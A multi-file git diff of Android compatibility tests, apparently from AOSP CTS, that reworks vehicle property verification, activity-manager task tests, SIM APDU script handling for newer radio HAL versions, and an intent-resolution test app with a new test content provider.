+ for (Integer area : areaCombo) {
+ possibleAreaId |= area;
+ }
+ return possibleAreaId;
+ }).collect(Collectors.toList()));
+ }
+ return allPossibleAreaIdsBuilder.build();
+ }
+
+ private void verifyValidAreaIdsForAreaType(CarPropertyConfig<?> carPropertyConfig,
+ ImmutableSet<Integer> allPossibleAreaIds) {
+ for (int areaId : carPropertyConfig.getAreaIds()) {
+ assertWithMessage(
+ mPropertyName + "'s area ID must be a valid " + areaTypeToString(mAreaType)
+ + " area ID").that(areaId).isIn(allPossibleAreaIds);
+ }
+ }
+
+ private void verifyNoAreaOverlapInAreaIds(CarPropertyConfig<?> carPropertyConfig,
+ ImmutableSet<Integer> areas) {
+ if (carPropertyConfig.getAreaIds().length < 2) {
+ return;
+ }
+ ImmutableSet<Integer> areaIds = ImmutableSet.copyOf(Arrays.stream(
+ carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList()));
+ List<Integer> areaIdOverlapCheckResults = Sets.combinations(areaIds, 2).stream().map(
+ areaIdPair -> {
+ List<Integer> areaIdPairAsList = areaIdPair.stream().collect(
+ Collectors.toList());
+ return areaIdPairAsList.get(0) & areaIdPairAsList.get(1);
+ }).collect(Collectors.toList());
+
+ assertWithMessage(
+ mPropertyName + " area IDs: " + Arrays.toString(carPropertyConfig.getAreaIds())
+ + " must contain each area only once (e.g. no bitwise AND overlap) for "
+ + "the area type: " + areaTypeToString(mAreaType)).that(
+ Collections.frequency(areaIdOverlapCheckResults, 0)
+ == areaIdOverlapCheckResults.size()).isTrue();
}
public interface ConfigArrayVerifier {
@@ -354,8 +695,13 @@
private Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier = Optional.empty();
private Optional<AreaIdsVerifier> mAreaIdsVerifier = Optional.empty();
private ImmutableSet<Integer> mPossibleConfigArrayValues = ImmutableSet.of();
+ private ImmutableSet<T> mPossibleCarPropertyValues = ImmutableSet.of();
private boolean mRequirePropertyValueToBeInConfigArray = false;
-
+ private boolean mVerifySetterWithConfigArrayValues = false;
+ private boolean mRequireMinMaxValues = false;
+ private boolean mRequireMinValuesToBeZero = false;
+ private boolean mRequireZeroToBeContainedInMinMaxRanges = false;
+ private boolean mPossiblyDependentOnHvacPowerOn = false;
private Builder(int propertyId, int access, int areaType, int changeMode,
Class<T> propertyType) {
@@ -393,49 +739,119 @@
return this;
}
+ public Builder<T> setPossibleCarPropertyValues(
+ ImmutableSet<T> possibleCarPropertyValues) {
+ mPossibleCarPropertyValues = possibleCarPropertyValues;
+ return this;
+ }
+
public Builder<T> requirePropertyValueTobeInConfigArray() {
mRequirePropertyValueToBeInConfigArray = true;
return this;
}
+ public Builder<T> verifySetterWithConfigArrayValues() {
+ mVerifySetterWithConfigArrayValues = true;
+ return this;
+ }
+
+ public Builder<T> requireMinMaxValues() {
+ mRequireMinMaxValues = true;
+ return this;
+ }
+
+ public Builder<T> requireMinValuesToBeZero() {
+ mRequireMinValuesToBeZero = true;
+ return this;
+ }
+
+ public Builder<T> requireZeroToBeContainedInMinMaxRanges() {
+ mRequireZeroToBeContainedInMinMaxRanges = true;
+ return this;
+ }
+
+ public Builder<T> setPossiblyDependentOnHvacPowerOn() {
+ mPossiblyDependentOnHvacPowerOn = true;
+ return this;
+ }
+
public VehiclePropertyVerifier<T> build() {
return new VehiclePropertyVerifier<>(mPropertyId, mAccess, mAreaType, mChangeMode,
mPropertyType, mRequiredProperty, mConfigArrayVerifier,
mCarPropertyValueVerifier, mAreaIdsVerifier, mPossibleConfigArrayValues,
- mRequirePropertyValueToBeInConfigArray);
+ mPossibleCarPropertyValues, mRequirePropertyValueToBeInConfigArray,
+ mVerifySetterWithConfigArrayValues, mRequireMinMaxValues,
+ mRequireMinValuesToBeZero, mRequireZeroToBeContainedInMinMaxRanges,
+ mPossiblyDependentOnHvacPowerOn);
}
}
private static class CarPropertyValueCallback implements
CarPropertyManager.CarPropertyEventCallback {
private final String mPropertyName;
- private final int mTotalOnChangeEvents;
- private final CountDownLatch mCountDownLatch;
- private final List<CarPropertyValue<?>> mCarPropertyValues = new ArrayList<>();
+ private final int[] mAreaIds;
+ private final int mTotalCarPropertyValuesPerAreaId;
+ private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+ private final Object mLock = new Object();
+ @GuardedBy("mLock")
+ private final SparseArray<List<CarPropertyValue<?>>> mAreaIdToCarPropertyValues =
+ new SparseArray<>();
+ private final long mTimeoutMillis;
- public CarPropertyValueCallback(String propertyName, int totalOnChangeEvents) {
+ CarPropertyValueCallback(String propertyName, int[] areaIds,
+ int totalCarPropertyValuesPerAreaId, long timeoutMillis) {
mPropertyName = propertyName;
- mTotalOnChangeEvents = totalOnChangeEvents;
- mCountDownLatch = new CountDownLatch(totalOnChangeEvents);
+ mAreaIds = areaIds;
+ mTotalCarPropertyValuesPerAreaId = totalCarPropertyValuesPerAreaId;
+ mTimeoutMillis = timeoutMillis;
+ synchronized (mLock) {
+ for (int areaId : mAreaIds) {
+ mAreaIdToCarPropertyValues.put(areaId, new ArrayList<>());
+ }
+ }
}
- public List<CarPropertyValue<?>> getCarPropertyValues() {
+ public SparseArray<List<CarPropertyValue<?>>> getAreaIdToCarPropertyValues() {
+ boolean awaitSuccess = false;
try {
- assertWithMessage(
- "Never received " + mTotalOnChangeEvents + " onChangeEvent(s) for "
- + mPropertyName + " callback before 1500ms timeout").that(
- mCountDownLatch.await(1500, TimeUnit.MILLISECONDS)).isTrue();
+ awaitSuccess = mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS);
} catch (InterruptedException e) {
assertWithMessage("Waiting for onChangeEvent callback(s) for " + mPropertyName
+ " threw an exception: " + e).fail();
}
- return mCarPropertyValues;
+ synchronized (mLock) {
+ assertWithMessage("Never received " + mTotalCarPropertyValuesPerAreaId
+ + " CarPropertyValues for all " + mPropertyName + "'s areaIds: "
+ + Arrays.toString(mAreaIds) + " before " + mTimeoutMillis + " ms timeout - "
+ + mAreaIdToCarPropertyValues).that(awaitSuccess).isTrue();
+ return mAreaIdToCarPropertyValues.clone();
+ }
}
@Override
- public void onChangeEvent(CarPropertyValue value) {
- mCarPropertyValues.add(value);
- mCountDownLatch.countDown();
+ public void onChangeEvent(CarPropertyValue carPropertyValue) {
+ synchronized (mLock) {
+ if (hasEnoughCarPropertyValuesForEachAreaIdLocked()) {
+ return;
+ }
+ mAreaIdToCarPropertyValues.get(carPropertyValue.getAreaId()).add(carPropertyValue);
+ if (hasEnoughCarPropertyValuesForEachAreaIdLocked()) {
+ mCountDownLatch.countDown();
+ }
+ }
+ }
+
+ @GuardedBy("mLock")
+ private boolean hasEnoughCarPropertyValuesForEachAreaIdLocked() {
+ for (int areaId : mAreaIds) {
+ List<CarPropertyValue<?>> carPropertyValues = mAreaIdToCarPropertyValues.get(
+ areaId);
+ if (carPropertyValues == null
+ || carPropertyValues.size() < mTotalCarPropertyValuesPerAreaId) {
+ return false;
+ }
+ }
+ return true;
}
@Override
@@ -446,4 +862,61 @@
public void onErrorEvent(int propId, int areaId, int errorCode) {
}
}
+
+
+ private static class SetterCallback<T> implements CarPropertyManager.CarPropertyEventCallback {
+ private final int mPropertyId;
+ private final String mPropertyName;
+ private final int mAreaId;
+ private final T mExpectedSetValue;
+ private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+ private final long mCreationTimeNanos = SystemClock.elapsedRealtimeNanos();
+ private CarPropertyValue<?> mUpdatedCarPropertyValue = null;
+
+ SetterCallback(int propertyId, String propertyName, int areaId, T expectedSetValue) {
+ mPropertyId = propertyId;
+ mPropertyName = propertyName;
+ mAreaId = areaId;
+ mExpectedSetValue = expectedSetValue;
+ }
+
+ public CarPropertyValue<?> waitForUpdatedCarPropertyValue() {
+ try {
+ assertWithMessage(
+ "Never received onChangeEvent(s) for " + mPropertyName + " new value: "
+ + mExpectedSetValue + " before 5s timeout").that(
+ mCountDownLatch.await(5, TimeUnit.SECONDS)).isTrue();
+ } catch (InterruptedException e) {
+ assertWithMessage("Waiting for onChangeEvent set callback for " + mPropertyName
+ + " threw an exception: " + e).fail();
+ }
+ return mUpdatedCarPropertyValue;
+ }
+
+ @Override
+ public void onChangeEvent(CarPropertyValue carPropertyValue) {
+ if (mUpdatedCarPropertyValue != null || carPropertyValue.getPropertyId() != mPropertyId
+ || carPropertyValue.getAreaId() != mAreaId
+ || carPropertyValue.getStatus() != CarPropertyValue.STATUS_AVAILABLE
+ || carPropertyValue.getTimestamp() <= mCreationTimeNanos
+ || carPropertyValue.getTimestamp() >= SystemClock.elapsedRealtimeNanos()
+ || !valueEquals(mExpectedSetValue, (T) carPropertyValue.getValue())) {
+ return;
+ }
+ mUpdatedCarPropertyValue = carPropertyValue;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onErrorEvent(int propId, int zone) {
+ }
+ }
+
+ private static <V> boolean valueEquals(V v1, V v2) {
+ return (v1 instanceof Float && floatEquals((Float) v1, (Float) v2)) || v1.equals(v2);
+ }
+
+ private static boolean floatEquals(float f1, float f2) {
+ return Math.abs(f1 - f2) < FLOAT_INEQUALITY_THRESHOLD;
+ }
}
diff --git a/tests/tests/car_builtin/AndroidTest.xml b/tests/tests/car_builtin/AndroidTest.xml
index 2ace59c..0588df1 100644
--- a/tests/tests/car_builtin/AndroidTest.xml
+++ b/tests/tests/car_builtin/AndroidTest.xml
@@ -18,7 +18,7 @@
type="module_controller"/>
<option name="test-suite-tag" value="cts"/>
<option name="config-descriptor:metadata" key="component" value="auto"/>
- <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
<option name="config-descriptor:metadata" key="parameter" value="multi_abi"/>
<option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
diff --git a/tests/tests/car_builtin/OWNERS b/tests/tests/car_builtin/OWNERS
index a8e927d..bda2116 100644
--- a/tests/tests/car_builtin/OWNERS
+++ b/tests/tests/car_builtin/OWNERS
@@ -1,4 +1,2 @@
# Bug component: 526266
-keunyoung@google.com
-felipeal@google.com
-gurunagarajan@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
index 95a3d18..582772d 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
@@ -48,7 +48,6 @@
import com.android.compatibility.common.util.SystemUtil;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -88,6 +87,8 @@
// ActivityManager.getRunningAppProcess called in isAppRunning needs this permission
private static final String PERMISSION_INTERACT_ACROSS_USERS_FULL =
"android.permission.INTERACT_ACROSS_USERS_FULL";
+ private static final String PERMISSION_REAL_GET_TASKS =
+ "android.permission.REAL_GET_TASKS";
private static final String SIMPLE_APP_PACKAGE_NAME = "android.car.cts.builtin.apps.simple";
private static final String SIMPLE_ACTIVITY_RELATIVE_NAME = ".SimpleActivity";
@@ -183,8 +184,7 @@
ComponentName activityName = task1TopActivity.getComponentName();
waitAndAssertTopResumedActivity(activityName, DEFAULT_DISPLAY,
"Activity must be resumed");
- assertWithMessage("task1 top activity has focus")
- .that(task1TopActivity.hasFocus()).isTrue();
+ waitAndAssertFocusStatusChanged(task1TopActivity, true);
assertWithMessage("task1 top activity is visible")
.that(task1TopActivity.isVisible()).isTrue();
@@ -269,7 +269,6 @@
.isEqualTo(expectedLaunchAllowed);
}
- @Ignore("b/232432706")
@Test
public void testStopAllTasksForUser() throws Exception {
int initialCurrentUserId = getCurrentUserId();
@@ -279,6 +278,7 @@
mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
PERMISSION_MANAGE_ACTIVITY_TASKS,
PERMISSION_REMOVE_TASKS,
+ PERMISSION_REAL_GET_TASKS,
PERMISSION_INTERACT_ACROSS_USERS_FULL);
testUserId = createUser(CTS_CAR_TEST_USER_NAME);
@@ -290,15 +290,13 @@
installPackageForUser(testUserId);
launchSimpleActivityInCurrentUser();
- waitUntilSimpleActivityExistenceStatusIs(true);
- assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isTrue();
+ assertIsAppRunning(true, SIMPLE_APP_PACKAGE_NAME);
switchUser(initialCurrentUserId);
waitUntilUserCurrent(initialCurrentUserId);
stopAllTasksForUser(testUserId);
- waitUntilSimpleActivityExistenceStatusIs(false);
- assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isFalse();
+ assertIsAppRunning(false, SIMPLE_APP_PACKAGE_NAME);
removeUser(testUserId);
testUserId = INVALID_USER_ID;
@@ -377,14 +375,17 @@
Log.d(TAG, "installPackageForUser return: " + retStr);
}
+ private void assertIsAppRunning(boolean isRunning, String pkgName) {
+ PollingCheck.waitFor(TIMEOUT_MS, () -> isAppRunning(pkgName) == isRunning);
+ }
+
private boolean isAppRunning(String pkgName) {
ActivityManager am = mContext.getSystemService(ActivityManager.class);
- List<ActivityManager.RunningAppProcessInfo> runningAppProcesses =
- am.getRunningAppProcesses();
+ List<ActivityManager.RunningTaskInfo> runningTasks = am.getRunningTasks(MAX_NUM_TASKS);
- for (ActivityManager.RunningAppProcessInfo procInfo : runningAppProcesses) {
- if (pkgName.equals(procInfo.processName)) {
+ for (ActivityManager.RunningTaskInfo taskInfo : runningTasks) {
+ if (pkgName.equals(taskInfo.baseActivity.getPackageName())) {
return true;
}
}
@@ -444,6 +445,11 @@
public static final class ActivityC extends ActivityManagerTestActivityBase {
}
+ private static void waitAndAssertFocusStatusChanged(ActivityManagerTestActivityBase activity,
+ boolean expectedStatus) throws Exception {
+ PollingCheck.waitFor(TIMEOUT_MS, () -> activity.hasFocus() == expectedStatus);
+ }
+
private static int createUser(String userName) throws Exception {
Log.d(TAG, "createUser: " + userName);
String retStr = SystemUtil.runShellCommand(CREATE_USER_COMMAND + userName);
@@ -496,11 +502,6 @@
ActivityManagerHelper.stopAllTasksForUser(userId);
}
- private static void waitUntilSimpleActivityExistenceStatusIs(boolean expectedStatus) {
- PollingCheck.waitFor(TIMEOUT_MS,
- () -> (checkSimpleActivityExistence() == expectedStatus));
- }
-
private static boolean checkSimpleActivityExistence() {
boolean foundSimpleActivity = false;
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
index fba6e73..5793fe2 100644
--- a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -30,6 +30,7 @@
import android.telephony.TelephonyManager;
import android.telephony.UiccSlotMapping;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -40,12 +41,14 @@
import java.util.Collection;
import java.util.List;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
class ApduScriptUtil {
private static final String TAG = "ApduScriptUtil";
private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
+ private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
// TelephonyManager constants are @hide, so manually copy them here
private static final int CARD_POWER_DOWN = 0;
private static final int CARD_POWER_UP = 1;
@@ -106,33 +109,77 @@
"Unable to determine physical slot + port from logical slot: " + logicalSlotId);
}
+ Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+ .getRadioHalVersion();
+ Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+ boolean listenToSimCardStateChange = true;
+ // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+ // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+ if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+ listenToSimCardStateChange = false;
+ }
+
try {
- // Note: this may wipe out subId, so we need to use the slot/port-based APDU method
- // while in pass-through mode.
- rebootSimCard(logicalSlotId, CARD_POWER_UP_PASS_THROUGH);
+ // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+ // slot/port-based APDU method while in pass-through mode to make compatible with
+ // older hal version.
+ rebootSimCard(subId,
+ logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
sendApdus(physicalSlotId, portIndex, apdus);
} finally {
// Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
// out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
// to bring things back to the normal POWER_UP state to avoid breaking other suites.
- rebootSimCard(logicalSlotId, CARD_POWER_UP);
+ rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
}
}
/**
- * Powers the SIM card down, waits for it to become ABSENT, then powers it back up in {@code
- * targetPowerState} and waits for it to become PRESENT.
+ * Powers the SIM card down firstly and then powers it back up on the {@code
+ * targetPowerState}
+ *
+ * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+ * listen to SIM card states before hal version 1.6 and SIM application states after.
+ * In specific, the behavior of the method is below:
+ * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+ * ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+ become PRESENT.
+ * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+ * state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+ * waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+ * LOADED {@code CARD_POWER_UP}.
+ * The SIM application state keeps in NOT_READY state after simPower moving from
+ * CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
*/
- private static void rebootSimCard(int logicalSlotId, int targetPowerState)
+ private static void rebootSimCard(int subId,
+ int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
throws InterruptedException {
- setSimPowerAndWaitForCardState(
- logicalSlotId, CARD_POWER_DOWN, TelephonyManager.SIM_STATE_ABSENT);
- setSimPowerAndWaitForCardState(
- logicalSlotId, targetPowerState, TelephonyManager.SIM_STATE_PRESENT);
+ if (listenToSimCardStateChange) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+ } else {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ if (targetPowerState == CARD_POWER_UP) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+ } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ }
+ }
}
private static void setSimPowerAndWaitForCardState(
- int logicalSlotId, int targetPowerState, int targetSimState)
+ int subId, int logicalSlotId, int targetPowerState,
+ int targetSimState, boolean listenToSimCardStateChange)
throws InterruptedException {
// A small little state machine:
// 1. Call setSimPower(targetPowerState)
@@ -146,8 +193,10 @@
new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- if (!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
- intent.getAction())) {
+ if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+ intent.getAction())) &&
+ (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+ intent.getAction()))) {
return;
}
int slotId =
@@ -183,11 +232,10 @@
uiAutomation.adoptShellPermissionIdentity(
Manifest.permission.MODIFY_PHONE_STATE,
Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
- getContext()
- .registerReceiver(
- cardStateReceiver,
- new IntentFilter(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED));
-
+ IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+ getContext().registerReceiver(cardStateReceiver, intentFilter);
Log.i(
TAG,
"Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
@@ -213,8 +261,15 @@
// Once the RIL request completes successfully, wait for the SIM to move to the desired
// state (from the broadcast).
- Log.i(TAG, "Waiting for SIM " + logicalSlotId + " to become " + targetSimState + "...");
- if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+ int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(subId).getSimApplicationState();
+ Log.i(TAG, "Waiting for SIM " + logicalSlotId
+ + " to become " + targetSimState + " from " + simApplicationState);
+ // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+ // from DOWN to PASS_THROUGH.
+ if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+ Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+ } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
throw new IllegalStateException(
"Failed to receive SIM state "
+ targetSimState
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 49b7254..8bd1bb8 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -43,6 +43,9 @@
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.Log;
@@ -140,7 +143,7 @@
} catch (Throwable t) {
if (scrollUps < 10) {
// The notification we search for is below the fold, scroll to find it
- swipeUp(uiDevice);
+ scrollNotifications();
scrollUps++;
continue;
}
@@ -200,6 +203,18 @@
50 /* numberOfSteps */);
}
+ private boolean scrollNotifications() {
+ UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+ if (!scrollable.exists()) {
+ return false;
+ }
+ try {
+ return scrollable.scrollForward(50);
+ } catch (UiObjectNotFoundException e) {
+ return false;
+ }
+ }
+
private boolean isRunningInVR() {
final Context context = InstrumentationRegistry.getTargetContext();
return ((context.getResources().getConfiguration().uiMode &
diff --git a/tests/tests/content/IntentResolutionTestApp/Android.bp b/tests/tests/content/IntentResolutionTestApp/Android.bp
index 16159cf..79c7538 100644
--- a/tests/tests/content/IntentResolutionTestApp/Android.bp
+++ b/tests/tests/content/IntentResolutionTestApp/Android.bp
@@ -16,9 +16,9 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test_helper_app {
- name: "CtsIntentResolutionTestApp",
- defaults: ["cts_defaults"],
+java_defaults {
+ name: "intent_test_app_defaults",
+ srcs: ["src/**/*.java"],
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
@@ -28,17 +28,22 @@
min_sdk_version: "29",
}
+android_test_helper_app {
+ name: "CtsIntentResolutionTestApp",
+ defaults: [
+ "cts_defaults",
+ "intent_test_app_defaults",
+ ],
+ additional_manifests: ["provider.xml"],
+}
+
// Same app but with lower target SDK version and different package_name
android_test_helper_app {
name: "CtsIntentResolutionTestAppApi30",
- package_name: "android.content.cts.IntentResolutionTestApi30",
- defaults: ["cts_defaults"],
- sdk_version: "current",
- target_sdk_version: "30",
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
+ defaults: [
+ "cts_defaults",
+ "intent_test_app_defaults",
],
- min_sdk_version: "29",
+ package_name: "android.content.cts.IntentResolutionTestApi30",
+ target_sdk_version: "30",
}
diff --git a/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml b/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
index ac50cb1..1c0aa1b 100644
--- a/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
+++ b/tests/tests/content/IntentResolutionTestApp/AndroidManifest.xml
@@ -16,7 +16,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.content.cts.IntentResolutionTest" >
- <application android:hasCode="false">
+ <application>
<activity android:name="android.content.pm.cts.TestPmActivity"
android:exported="true">
<intent-filter>
diff --git a/tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml b/tests/tests/content/IntentResolutionTestApp/provider.xml
similarity index 60%
rename from tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml
rename to tests/tests/content/IntentResolutionTestApp/provider.xml
index 5ee8b8a..a8774b6 100644
--- a/tests/framework/base/windowmanager/app/res/anim/show_backdrop_hide_window_animation.xml
+++ b/tests/tests/content/IntentResolutionTestApp/provider.xml
@@ -15,17 +15,11 @@
~ limitations under the License.
-->
-<set xmlns:android="http://schemas.android.com/apk/res/android"
- android:shareInterpolator="false"
- android:showBackdrop="true">
-
- <alpha
- android:fromAlpha="0"
- android:toAlpha="0"
- android:fillEnabled="true"
- android:fillBefore="true"
- android:fillAfter="true"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000"/>
-</set>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.cts.IntentResolutionTest" >
+ <application>
+ <provider android:name="android.content.pm.cts.TestProvider"
+ android:exported="true"
+ android:authorities="${applicationId}.provider" />
+ </application>
+</manifest>
diff --git a/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java b/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java
new file mode 100644
index 0000000..ae22d56
--- /dev/null
+++ b/tests/tests/content/IntentResolutionTestApp/src/android/content/pm/cts/TestProvider.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import android.app.PendingIntent;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class TestProvider extends ContentProvider {
+
+ @Override
+ public boolean onCreate() {
+ return false;
+ }
+
+ @Override
+ public Bundle call(String method, String arg, Bundle extras) {
+ var intent = new Intent()
+ .setClassName(getContext(), "android.content.pm.cts.TestPmActivity")
+ .setAction("non.existing.action");
+ var p = PendingIntent.getActivity(getContext(), 0, intent, PendingIntent.FLAG_IMMUTABLE);
+ var b = new Bundle();
+ b.putParcelable("pendingIntent", p);
+ return b;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection,
+ String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index b429278..6d375a6 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -16,6 +16,7 @@
package android.content.pm.cts;
+import static android.Manifest.permission.GET_INTENT_SENDER_INTENT;
import static android.Manifest.permission.INSTALL_TEST_ONLY_PACKAGE;
import static android.content.pm.ApplicationInfo.FLAG_HAS_CODE;
import static android.content.pm.ApplicationInfo.FLAG_INSTALLED;
@@ -41,8 +42,6 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
-import com.google.common.truth.Expect;
-
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -56,6 +55,7 @@
import android.annotation.NonNull;
import android.app.Activity;
import android.app.Instrumentation;
+import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -99,14 +99,16 @@
import android.util.Log;
import androidx.core.content.FileProvider;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ServiceTestRule;
-import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.TestUtils;
